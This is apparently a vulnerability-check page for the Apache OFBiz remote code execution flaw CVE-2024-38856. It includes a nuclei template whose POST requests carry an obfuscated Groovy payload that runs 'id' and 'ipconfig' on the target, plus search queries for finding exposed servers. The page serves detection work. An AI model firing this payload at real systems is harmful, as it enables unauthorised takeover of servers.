Apache OFBiz - Improper Authorization & Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-08-27; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).

Impact

An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /webtools/control/main/ProgramExport
Positive when: matches /IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ AND contains "java.lang.Exception" AND status 200

Run it with nuclei: nuclei -id CVE-2024-38856 -u <target>

The full check

id: CVE-2024-38856

info:
  name: Apache OFBiz - Improper Authorization & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter%E7%BB%95%E8%BF%87%E5%88%B0rce/
    - https://issues.apache.org/jira/browse/OFBIZ-13128
    - https://lists.apache.org/thread/olxxjk6b13sl3wh9cmp0k2dscvp24l7w
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
    cve-id: CVE-2024-38856
    cvss-score: 9.8
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    epss-score: 0.99411
    epss-percentile: 0.99942
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Apache_OFBiz"
    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
  tags: cve,cve2024,apache,ofbiz,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/main/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

      - |
        POST /webtools/control/main/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
        condition: or

      - type: word
        part: body
        words:
          - 'java.lang.Exception'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from